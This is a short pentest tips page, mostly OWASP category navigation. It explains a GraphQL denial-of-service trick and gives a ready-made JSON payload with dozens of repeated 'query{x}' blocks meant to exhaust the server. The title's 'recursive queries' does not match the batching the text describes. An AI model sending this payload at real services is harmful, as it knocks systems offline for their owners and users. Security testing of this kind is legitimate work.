0x07 - GraphQL Crash via Recursive Queries
0x07 - GraphQL Crash via Recursive Queries
Pentest Tips & Tricks
A01 - Broken Access Control
A01 - Broken Access Control
A02 - Cryptographic Failures
A02 - Cryptographic Failures
A03 - Injection Attacks
A03 - Injection Attacks
A04 – Insecure Design
A04 – Insecure Design
A05 – Security Misconfiguration
A05 – Security Misconfiguration
A06 – Vulnerable Components
A06 – Vulnerable Components
A07 – Identification and Authentication Failures
A07 – Identification and Authentication Failures
Recon & Attack Surface
Recon & Attack Surface
Tooling & Automation
Tooling & Automation
Creative, Strategic, and Mindset
Creative, Strategic, and Mindset
Bug Bounty $$$
Bug Bounty $$$
AI/ML/LLM/MCP
AI/ML/LLM/MCP
Latest Tips & Tricks
Latest Tips & Tricks
Did you know you can trigger a Denial of Service by crashing the GraphQL server using recursive queries?
If you encounter an application that uses GraphQL, there are several simple (yet very effective) Denial of Service attacks that you can try
One of the payloads abuses the option to concatenate multiple queries into a single request
When the number of batched requests were expended, an exponential increase in response time was also observed, ultimately exhausting the server.
Payload
{"query":"query DoS{query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}query{x}}"}